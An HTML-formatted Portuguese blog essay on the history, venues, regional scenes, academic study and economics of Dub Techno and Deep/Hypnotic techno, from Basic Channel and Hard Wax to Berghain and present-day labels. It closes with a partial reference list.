&lt;p&gt;A coisa toda começou na &lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://hardwax.com/&quot;&gt;Hard Wax&lt;/a&gt;&lt;/strong&gt;, aquela loja de discos lendária onde Ernestus tinha um conhecimento absurdo de música eletrônica e von Oswald trazia sua experiência como percussionista. Como o &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.vice.com/en/article/a-bullshitters-guide-to-dub-techno/&quot;&gt;escritor Josh Baines colocou&lt;/a&gt;, eles criaram &quot;um techno business fundamental que definiu o padrão de um gênero inteiro por três décadas&quot;.&lt;/p&gt;
&lt;p&gt;O approach tecnológico deles era revolucionário: &lt;strong&gt;chains de hardware analógico&lt;/strong&gt; com efeitos extensivos de delay e reverb, sampling lo-fi em bitrates reduzidos para criar textura de &quot;ruído&quot;, e múltiplos passthroughs através de chains de reverb–delay usando o &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Roland_Space_Echo&quot;&gt;Roland Space Echo&lt;/a&gt; e outros sintetizadores analógicos. Entre 1993-1994, eles lançaram nove discos de 12&quot;, incluindo o lendário &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.discogs.com/release/2163-Basic-Channel-Phylyps-Trak&quot;&gt;Phylyps Trak&lt;/a&gt;&quot; e &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.discogs.com/release/2166-Basic-Channel-Quadrant-Dub&quot;&gt;Quadrant Dub&lt;/a&gt;&quot;, que estabeleceram o padrão atmosférico que influenciaria milhares de artistas globalmente.&lt;/p&gt;
&lt;p&gt;Quando expandiram para o &lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Chain_Reaction_(record_label)&quot;&gt;Chain Reaction&lt;/a&gt; label em 1995&lt;/strong&gt;, trouxeram artistas como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Monolake&quot;&gt;Monolake&lt;/a&gt;, &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://ra.co/dj/porterricks&quot;&gt;Porter Ricks&lt;/a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Vladislav_Delay&quot;&gt;Vladislav Delay&lt;/a&gt; para o que virou conhecido como a rede &quot;amigos e família estendida&quot;. Isso criou o primeiro padrão importante para formação da comunidade de música eletrônica – um coletivo solto de produtores com valores estéticos compartilhados, mas mantendo autonomia artística individual.&lt;/p&gt;
&lt;p&gt;É engraçado que o termo &quot;Dub Techno&quot; só se solidificou em &lt;strong&gt;2001&lt;/strong&gt;, quando a revista The Wire usou pela primeira vez em print, revisando o &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Loop-Finding-Jazz-Records&quot;&gt;Loop Jazz Finding Records&lt;/a&gt;&quot; do Jan Jelinek. Essa demora entre a prática e o nome mostra como a cena se desenvolveu organicamente, sem pressão comercial – os artistas estavam criando a música anos antes dos marketeiros precisarem categorizá-la. Ainda bem.&lt;/p&gt;
&lt;h2 id=&quot;como-contextos-locais-moldaram-sons-globais&quot;&gt;Como contextos locais moldaram sons globais&lt;a class=&quot;zola-anchor&quot; href=&quot;#como-contextos-locais-moldaram-sons-globais&quot; aria-label=&quot;Anchor link for: como-contextos-locais-moldaram-sons-globais&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;A expansão global do Deep/Hypnotic e Dub Techno revela como &lt;strong&gt;contextos pós-autoritários&lt;/strong&gt; fornecem terreno particularmente fértil para o desenvolvimento cultural da música eletrônica. A pesquisa acadêmica de &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://de.wikipedia.org/wiki/Tobias_Rapp&quot;&gt;Tobias Rapp&lt;/a&gt; mostra como a cena techno de Berlim emergiu como resposta à reorganização social pós-reunificação, criando respostas culturais &quot;desterritorializadas&quot; à globalização enquanto mantinha especificidade local.&lt;/p&gt;
&lt;p&gt;Cada cena regional desenvolveu características distintivas baseadas em intersecções culturais específicas. A &lt;strong&gt;abordagem de Detroit&lt;/strong&gt; através de artistas como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Deepchord&quot;&gt;Rod Modell&lt;/a&gt; (DeepChord) e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://echospace313.com/&quot;&gt;Echospace&lt;/a&gt; enfatizava conexão com a herança industrial da cidade, usando &quot;nada além de equipamento analógico vintage&quot; para criar música que parecia &quot;transmitida do fundo do mar&quot;. A colaboração entre Modell de Detroit e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.discogs.com/artist/504831-Stephen-Hitchell&quot;&gt;Stephen Hitchell&lt;/a&gt; de Chicago produziu o aclamado &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.discogs.com/master/4500-DeepChord-presents-Echospace-The-Coldest-Season&quot;&gt;The Coldest Season&lt;/a&gt;&quot; de 2007 no selo &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.discogs.com/label/10999-Modern-Love&quot;&gt;Modern Love&lt;/a&gt; de Manchester, demonstrando as redes transnacionais que definem a cultura contemporânea da música eletrônica.&lt;/p&gt;
&lt;p&gt;As &lt;strong&gt;cenas pós-comunistas do Leste Europeu&lt;/strong&gt; desenvolveram estéticas particularmente cruas refletindo ética DIY e resistência política. O festival &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/CzechTek&quot;&gt;CzechTek&lt;/a&gt; da República Tcheca, brutalmente suprimido em 2005, criou dimensões políticas que conectaram música eletrônica a movimentos anti-autoritários mais amplos. A análise acadêmica revela que essas cenas funcionam como &quot;laboratórios para relações econômicas e sociais alternativas&quot;, operando através do que o etnógrafo Verbuc chama de &quot;sistemas econômicos alternativos de reciprocidade&quot;.&lt;/p&gt;
&lt;p&gt;A fragmentação regional da Itália criou cenas distintas baseadas em cidades: Nápoles desenvolveu &quot;techno napolitano&quot; com tempos mais rápidos e grooves através de artistas como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Marco_Carola&quot;&gt;Marco Carola&lt;/a&gt;, enquanto a estética de Roma enfatizava texturas escuras e industriais refletindo o contraste antigo/moderno da cidade. Enquanto isso, a &lt;strong&gt;cena de Tel Aviv&lt;/strong&gt; misturou música eletrônica com elementos musicais do Oriente Médio, criando o som &quot;orgânico-analógico&quot; popular no &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://burningman.org/&quot;&gt;Burning Man&lt;/a&gt; e refletindo a geografia cultural complexa da cidade.&lt;/p&gt;
&lt;p&gt;O &lt;strong&gt;modelo holandês&lt;/strong&gt; demonstra integração comercial bem-sucedida sem perder credibilidade underground, com o &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.amsterdam-dance-event.nl/en/&quot;&gt;Amsterdam Dance Event&lt;/a&gt; se tornando a maior conferência de música eletrônica do mundo enquanto mantém conexão com a cultura grassroots. Essa abordagem influenciou desenvolvimentos similares em Melbourne, onde o isolamento geográfico forçou inovação, levando à distintiva cultura de dança &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Melbourne_shuffle&quot;&gt;Melbourne Shuffle&lt;/a&gt;&quot; e fusão criativa de influências internacionais adaptadas a contextos locais.&lt;/p&gt;
&lt;h2 id=&quot;venues-como-instituicoes-culturais&quot;&gt;Venues como instituições culturais&lt;a class=&quot;zola-anchor&quot; href=&quot;#venues-como-instituicoes-culturais&quot; aria-label=&quot;Anchor link for: venues-como-instituicoes-culturais&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Os venues/clubs que moldaram essas cenas funcionam muito mais que espaços de entretenimento – eles operam como &lt;strong&gt;incubadoras culturais, espaços políticos e centros comunitários&lt;/strong&gt; que resistem ativamente à comodificação mainstream. O &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.berghain.berlin/en/&quot;&gt;Berghain&lt;/a&gt;, que evoluiu do sexualmente liberado Ostgut (1998-2003), representa essa evolução mais claramente. Em 2016, um tribunal alemão o designou oficialmente como instituição cultural, reconhecendo seu papel no que a UNESCO agora reconhece como patrimônio cultural imaterial.&lt;/p&gt;
&lt;p&gt;A significância cultural do Berghain vai além de suas maratonas de sexta a segunda e dos residentes lendários &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Ben_Klock&quot;&gt;Ben Klock&lt;/a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Marcel_Dettmann&quot;&gt;Marcel Dettmann&lt;/a&gt;. Como o dono Norbert Thormann nota, &quot;as melhores ideias nascem depois das 3:30 da manhã&quot; - reconhecendo como experiências temporais estendidas criam condições para inovação cultural impossível em venues de entretenimento convencionais. A política da porta do club, que rejeita escolhas direcionadas pela moda em favor do engajamento autêntico com a música, incorpora o que a pesquisa acadêmica identifica como &quot;resistência espacial&quot; através da ocupação de espaços urbanos marginais.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;importância histórica do &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://tresorberlin.com/&quot;&gt;Tresor&lt;/a&gt;&lt;/strong&gt; em conectar Berlim e Detroit demonstra como venues funcionam como pontes culturais. O fundador &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Dimitri_Hegemann&quot;&gt;Dimitri Hegemann&lt;/a&gt; estabeleceu o eixo crucial Berlim-Detroit trazendo &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Underground_Resistance&quot;&gt;Underground Resistance&lt;/a&gt; e outros artistas de Detroit para tocar no vault de uma antiga loja de departamentos da Alemanha Oriental. Isso criou o que Hegemann descreveu como o espaço onde &quot;duas culturas colidiram e se entenderam imediatamente através do techno&quot;.&lt;/p&gt;
&lt;p&gt;A influência global desses venues aparece em desenvolvimentos contemporâneos como o &lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://dc10ibiza.com/en/&quot;&gt;DC10 Ibiza&lt;/a&gt;&lt;/strong&gt;, que mantém seu motto &quot;No Soul for Sale&quot; enquanto hospeda festas Circoloco que criaram &quot;um movimento global&quot; influenciando moda (coleção 2018 do &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Virgil_Abloh&quot;&gt;Virgil Abloh&lt;/a&gt;) e cultura de club internacionalmente. Localizado no final de uma pista de aeroporto onde &quot;jatos rugem sobre a cabeça enquanto a festa bomba embaixo&quot;, o DC10 incorpora o compromisso da cena com experiência bruta sobre polimento comercial.&lt;/p&gt;
&lt;h2 id=&quot;teoria-encontra-pista-de-danca&quot;&gt;Teoria encontra pista de dança&lt;a class=&quot;zola-anchor&quot; href=&quot;#teoria-encontra-pista-de-danca&quot; aria-label=&quot;Anchor link for: teoria-encontra-pista-de-danca&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;A pesquisa acadêmica revela comunidades de música eletrônica como formações culturais sofisticadas exemplificando o que o sociólogo &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Michel_Maffesoli&quot;&gt;Michel Maffesoli&lt;/a&gt; chama de organização &quot;neo-tribal&quot;. O estudo seminal de &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://journals.sagepub.com/doi/full/10.1177/17470218251316499&quot;&gt;Cannon e Greasley na Sage Open&lt;/a&gt; demonstra como eventos de música eletrônica dançante funcionam como &quot;re-atualizações de noções históricas de comunidade&quot;, criando espaços para &quot;práticas compartilhadas e vínculos comuns, provocando um senso de solidariedade e pertencimento&quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Mark_Fisher&quot;&gt;Mark Fisher&lt;/a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Simon_Reynolds&quot;&gt;Simon Reynolds&lt;/a&gt;&lt;/strong&gt; desenvolveram frameworks teóricos cruciais conectando música eletrônica à teoria cultural mais ampla. O conceito de &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Mark_Fisher#Hauntology&quot;&gt;hauntology&lt;/a&gt;&quot; de Fisher fornece ferramentas analíticas para entender a relação da música eletrônica com &quot;futuros perdidos&quot; e memória cultural, enquanto Reynolds identifica música eletrônica hauntológica como endereçando &quot;impasse cultural: o fracasso do futuro&quot;.&lt;/p&gt;
&lt;p&gt;A recepção acadêmica do groundbreaking &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.goodreads.com/book/show/15738600-lost-and-sound&quot;&gt;Lost and Sound&lt;/a&gt;&quot; de Tobias Rapp demonstra crescente reconhecimento acadêmico. O review de &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://music.usc.edu/sean-nye/&quot;&gt;Sean Nye&lt;/a&gt; na Dancecult identifica o trabalho de Rapp como crucial para entender &quot;os mecanismos de comercialização e deslocamento&quot; e como a cultura techno de Berlim resistiu a padrões típicos de comodificação cultural. Essa pesquisa estabelece comunidades de música eletrônica como sites importantes para entender formas contemporâneas de formação de comunidade e sistemas econômicos alternativos.&lt;/p&gt;
&lt;p&gt;Estudos etnográficos publicados no &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://online.ucpress.edu/jpms&quot;&gt;Journal of Popular Music Studies&lt;/a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://dj.dancecult.net/index.php/dancecult&quot;&gt;Dancecult&lt;/a&gt; revelam como essas comunidades se desenvolvem através do que pesquisadores chamam de &quot;socialidade empática&quot; – experiências coletivas ritualizadas, valores estéticos compartilhados rejeitando produtos culturais mainstream, letramento tecnológico como marcadores de membership comunitário, e conexões global-locais através de música e intercâmbio cultural.&lt;/p&gt;
&lt;h2 id=&quot;significancia-contemporanea-e-impacto-economico&quot;&gt;Significância contemporânea e impacto econômico&lt;a class=&quot;zola-anchor&quot; href=&quot;#significancia-contemporanea-e-impacto-economico&quot; aria-label=&quot;Anchor link for: significancia-contemporanea-e-impacto-economico&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;O cenário contemporâneo (2020-2025) demonstra resiliência e crescimento notáveis, com Deep/Hypnotic e Dub Techno contribuindo para uma indústria global de música eletrônica avaliada em &lt;strong&gt;US$ 12,9 bilhões em 2025&lt;/strong&gt;. Os gêneros não apenas sobreviveram à pandemia de COVID-19, mas emergiram mais fortes, com receitas do setor ao vivo agora dobrando os níveis pré-pandemia e plataformas de streaming pagando &lt;strong&gt;US$ 10 bilhões para a indústria musical em 2024&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Os dados do Beatport revelam&lt;/strong&gt; a vitalidade contemporânea da cena: a plataforma adiciona aproximadamente 100.000 novas faixas mensalmente, com artistas de Deep/Hypnotic techno como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.beatport.com/artist/klint/989820/tracks?page=1&amp;amp;per_page=150&quot;&gt;Klint&lt;/a&gt;, &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.beatport.com/artist/chlr/645779&quot;&gt;Chlär&lt;/a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.beatport.com/artist/vinicius-honorio/85863&quot;&gt;Vinicius Honorio&lt;/a&gt; ranqueando entre os top sellers. O surgimento de selos como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://indexrecords.bandcamp.com/&quot;&gt;INDEX:Records&lt;/a&gt; de Berlim, &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://inciensorecs.bandcamp.com/&quot;&gt;Incienso&lt;/a&gt; de Nova York e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.naffrecordings.com/&quot;&gt;naff recordings&lt;/a&gt; de Montreal demonstra inovação contínua e expansão geográfica.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;revolução do streaming&lt;/strong&gt; beneficia particularmente gêneros de música eletrônica, com mais de 50% dos artistas gerando pelo menos US$ 1.000 em royalties de streaming ganhando a maioria de ouvintes fora de seus países de origem. Esse alcance global permite que artistas em Medellín, Tel Aviv e Melbourne se conectem diretamente com audiências internacionais enquanto mantêm conexões comunitárias locais.&lt;/p&gt;
&lt;p&gt;O COVID-19 inicialmente devastou a cena, com ganhos de DJs despencando 61% de US$ 1,1 bilhão em 2019 para US$ 400 milhões em 2020. No entanto, o pivot digital criou novas oportunidades: clubs abraçaram eventos virtuais e live streaming, a Geração Z descobriu techno através de plataformas digitais durante lockdowns, e comunidades online se desenvolveram complementando em vez de substituir encontros físicos.&lt;/p&gt;
&lt;p&gt;A cena atual demonstra o que teóricos culturais identificam como organização &quot;pós-subcultural&quot; – estruturas baseadas em rede em vez de hierárquicas, membership fluido e afiliações múltiplas, e autonomia criativa enfatizando independência artística. Isso aparece em venues como o &lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://kwia.berlin/&quot;&gt;kwia listening bar&lt;/a&gt;&lt;/strong&gt; de Berlim, que fomenta &quot;comunidades queer juvenis&quot; ao redor de ambient e Dub Techno, representando um contra-movimento consciente à &quot;fixação da cultura mainstream de club em beats mais duros e rápidos&quot;.&lt;/p&gt;
&lt;h2 id=&quot;identidade-pertencimento-e-transformacao-cultural&quot;&gt;Identidade, pertencimento e transformação cultural&lt;a class=&quot;zola-anchor&quot; href=&quot;#identidade-pertencimento-e-transformacao-cultural&quot; aria-label=&quot;Anchor link for: identidade-pertencimento-e-transformacao-cultural&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Essas comunidades funcionam como espaços onde a tecnologia permite tanto circulação cultural global quanto formação de comunidade local, criando o que a pesquisa acadêmica identifica como &quot;espaços protegidos para intercâmbio e novas ideias&quot;. As estruturas hipnóticas e repetitivas dos gêneros facilitam o que pesquisadores chamam de &quot;experiências estéticas transformativas&quot; que endereçam desafios contemporâneos de atomização social e comodificação cultural.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Underground Resistance&lt;/strong&gt;, fundado por &quot;Mad&quot; &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Mike_Banks_(musician)&quot;&gt;Mike Banks&lt;/a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Jeff_Mills&quot;&gt;Jeff Mills&lt;/a&gt; em 1989, demonstra isso mais claramente através de sua conexão de &quot;estéticas do techno inicial de Detroit a circunstâncias sociais, políticas e econômicas&quot; seguindo a recessão de inner-city da era Reagan. Seu ethos anti-corporativo, performando em ski masks para enfatizar anonimato sobre cultura &quot;superstar DJ&quot;, estabeleceu padrões para manter integridade política enquanto alcança influência global.&lt;/p&gt;
&lt;p&gt;A conexão entre &lt;strong&gt;sociedades pós-autoritárias e cultura techno&lt;/strong&gt; aparece através de múltiplos contextos: o vácuo cultural pós-reunificação de Berlim, desenvolvimento underground pós-comunista do Leste Europeu, e transformação pós-narcoviolência de Medellín onde música eletrônica se tornou ferramenta para renovação positiva da imagem da cidade. A análise acadêmica revela como esses contextos criam condições onde comunidades de música eletrônica servem como &quot;laboratórios para relações econômicas e sociais alternativas&quot;.&lt;/p&gt;
&lt;p&gt;Desafios contemporâneos incluindo ameaças de gentrificação (fenômeno &quot;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.dw.com/en/is-berlin-in-a-club-death-spiral/a-70341859&quot;&gt;Clubsterben&lt;/a&gt;&quot; de Berlim), tensões de apropriação cultural, e saturação de mercado com uploads de 100.000+ faixas mensais demonstram a luta contínua entre autenticidade underground e sucesso mainstream. No entanto, a resiliência demonstrada das cenas, inovação contínua através de novos conceitos de venue e técnicas de produção, e crescente reconhecimento acadêmico sugerem perspectivas robustas para significância cultural contínua.&lt;/p&gt;
&lt;p&gt;A pesquisa revela essas comunidades como componentes essenciais da transformação cultural contemporânea – criando espaços para formação de identidade fora de instituições mainstream, pioneirando sistemas econômicos alternativos, e mantendo conexão entre inovação tecnológica e comunidade humana. Conforme a cultura de música eletrônica se aproxima de sua quarta década, as comunidades de Deep/Hypnotic e Dub Techno se mantêm como prova de que movimentos underground podem alcançar influência global enquanto preservam seus valores fundamentais de resistência, comunidade e autenticidade criativa.&lt;/p&gt;
&lt;h2 id=&quot;o-dub-techno-como-ponte-entre-urbano-e-natural&quot;&gt;O Dub Techno como ponte entre urbano e natural&lt;a class=&quot;zola-anchor&quot; href=&quot;#o-dub-techno-como-ponte-entre-urbano-e-natural&quot; aria-label=&quot;Anchor link for: o-dub-techno-como-ponte-entre-urbano-e-natural&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Existe algo quase mágico na forma como o Dub Techno consegue evocar paisagens naturais mesmo sendo criado inteiramente com máquinas em ambientes urbanos. Quando você fecha os olhos numa pista de dança às 4 da manhã e escuta aquelas texturas atmosféricas se desenrolando, não é difícil imaginar cavernas subaquáticas, florestas envoltas em névoa, ou o eco de gotas d&#39;água numa caverna ancestral.&lt;/p&gt;
&lt;p&gt;Rod Modell, do DeepChord, capturou isso perfeitamente quando descreveu sua música como &quot;transmitida do fundo do mar&quot;. Não é apenas uma metáfora poética – existe uma qualidade &lt;strong&gt;orgânica e fluida&lt;/strong&gt; nas texturas do Dub Techno que espelha processos naturais. Os delays e reverbs criam ecos que lembram formações geológicas, enquanto as camadas de ruído e filtragem emulam o movimento do vento, da água, da própria atmosfera terrestre.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A estética da escuta profunda&lt;/strong&gt; que define o gênero estabelece um diálogo único entre tecnologia e natureza. Quando Basic Channel usava múltiplos passthroughs de delay para criar essas texturas atmosféricas, eles não estavam apenas manipulando som – estavam criando &lt;strong&gt;espaços acústicos&lt;/strong&gt; que funcionam como ecossistemas sonoros. Cada elemento – o kick minimalista, os pads atmosféricos, os delays infinitos – interage como organismos em um habitat natural.&lt;/p&gt;
&lt;p&gt;É fascinante como isso ressoa com a experiência humana de contemplação. O Dub Techno exige uma forma diferente de escuta, uma que se aproxima da meditação ou da contemplação de uma paisagem natural. Não é música para ser consumida rapidamente – é para ser &lt;strong&gt;habitada&lt;/strong&gt;. Como quando você senta na beira de um lago ao amanhecer e simplesmente observa a névoa se dissipando lentamente sobre a água.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A temporalidade estendida&lt;/strong&gt; dos sets de Dub Techno espelha ritmos naturais em vez de ritmos urbanos acelerados. Em venues como o Berghain, onde a música toca de sexta a segunda-feira sem parar, você experimenta algo próximo aos ciclos naturais – o tempo se torna fluido, linear, menos fragmentado que nossa experiência urbana cotidiana. Há algo profundamente humano nessa reconexão com temporalidades mais orgânicas.&lt;/p&gt;
&lt;p&gt;As &lt;strong&gt;frequências sub-graves&lt;/strong&gt; que caracterizam o gênero criam uma experiência física que vai além do auditivo. Esses baixos profundos ressoam no corpo de forma similar a fenômenos naturais – trovões distantes, terremotos suaves, o rumor de oceanos. É como se a música ativasse memórias corporais ancestrais, conectando-nos a algo primitivo e essencial.&lt;/p&gt;
&lt;p&gt;Artistas contemporâneos como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Andy_Stott&quot;&gt;Andy Stott&lt;/a&gt; ou Echospace cultivam conscientemente essa estética &lt;strong&gt;&quot;bio-techno&quot;&lt;/strong&gt; - usando field recordings, incorporando texturas que evocam elementos naturais, criando composições que respiram e evoluem organicamente. Não é coincidência que muito Dub Techno funcione perfeitamente como trilha sonora para contemplação de paisagens naturais, seja numa floresta ou olhando o oceano.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A experiência comunitária&lt;/strong&gt; das pistas de dança também ecoa rituais humanos ancestrais ao redor do fogo, onde música, movimento e comunidade se fundiam numa experiência transcendente coletiva. O Dub Techno, com suas texturas envolventes e batidas hipnóticas, recria esse espaço ritual onde os participantes podem experienciar tanto solidão contemplativa quanto conexão comunitária profunda.&lt;/p&gt;
&lt;p&gt;Talvez seja isso que torna o gênero tão resiliente e significativo: numa era de hiper-urbanização e desconexão digital, o Dub Techno oferece um &lt;strong&gt;retorno tecnológico ao orgânico&lt;/strong&gt;. Ele usa as ferramentas mais avançadas da tecnologia musical para recriar sensações e espaços que nos reconectam com aspectos fundamentais da experiência humana - tempo cíclico, escuta profunda, contemplação, presença.&lt;/p&gt;
&lt;p&gt;É uma ironia bonita (quase uma cosmic joke) que máquinas possam nos ajudar a redescobrir nossa humanidade, e que, frequências digitais possam evocar a vastidão de oceanos e o mistério de cavernas. No final, talvez o Dub Techno seja exatamente isso: uma forma de meditação tecnológica que nos lembra que, mesmo em meio ao concreto e às telas, ainda somos seres naturais buscando conexão, transcendência e beleza.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Esse texto é baseado em pesquisa extensiva, mas também na paixão de alguém que viveu essas pistas de dança e entende que por trás de cada batida há uma comunidade, uma história, e uma forma de resistência que continua ecoando pelos clubs do mundo todo.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;referencias&quot;&gt;Referências&lt;a class=&quot;zola-anchor&quot; href=&quot;#referencias&quot; aria-label=&quot;Anchor link for: referencias&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h3&gt;
&lt;h2 id=&quot;fontes-academicas-e-journals&quot;&gt;Fontes Acadêmicas e Journals&lt;a class=&quot;zola-anchor&quot; href=&quot;#fontes-academicas-e-journals&quot; aria-label=&quot;Anchor link for: fontes-academicas-e-journals&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Sage Journals&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cannon, J. W., &amp;amp; Greasley, A. E. (2021). Exploring Relationships Between Electronic Dance Music Event Participation and Well-being. &lt;em&gt;Sage Open&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;OpenEdition Journals&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From Post-Punk to PC Music: Subcultural Discourses and Practices in Two Underground Scenes (1979, 2015)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Journal of Popular Music Studies (University of California Press)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Various articles on popular music studies and electronic music culture&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;IASPM Journal&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Popular Music Studies and the Problems of Sound, Society and Method&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Equinox Publishing&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ethnography in Western Popular Music Research Revisited: A Case Study and/as a Critique&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Nature - Humanities and Social Sciences Communications&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cultural Divergence in popular music: the increasing diversity of music consumption on Spotify across countries&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Routledge Academic&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bennett, A. &amp;amp; Guerra, P. &quot;DIY Cultures and Underground Music Scenes&quot; (1st Edition)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;industria-musical-e-dados-economicos&quot;&gt;Indústria Musical e Dados Econômicos&lt;a class=&quot;zola-anchor&quot; href=&quot;#industria-musical-e-dados-economicos&quot; aria-label=&quot;Anchor link for: industria-musical-e-dados-economicos&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Beatportal&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IMS Business Report 2025: The Global Electronic Music Industry Hits a Record $12.9 Billion&lt;/li&gt;
&lt;li&gt;Chart Toppers: Beatport&#39;s Top-Selling Tracks, Artists and Labels of 2024 (By Genre)&lt;/li&gt;
&lt;li&gt;Techno (Raw / Deep / Hypnotic): The Top-Selling Tracks, Artists, and Labels of 2024&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Spotify For the Record&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Beyond Profits: How the Music Industry&#39;s Cultural and Financial Impact Define Its Success in 2025&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;publicacoes-especializadas-em-musica-eletronica&quot;&gt;Publicações Especializadas em Música Eletrônica&lt;a class=&quot;zola-anchor&quot; href=&quot;#publicacoes-especializadas-em-musica-eletronica&quot; aria-label=&quot;Anchor link for: publicacoes-especializadas-em-musica-eletronica&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
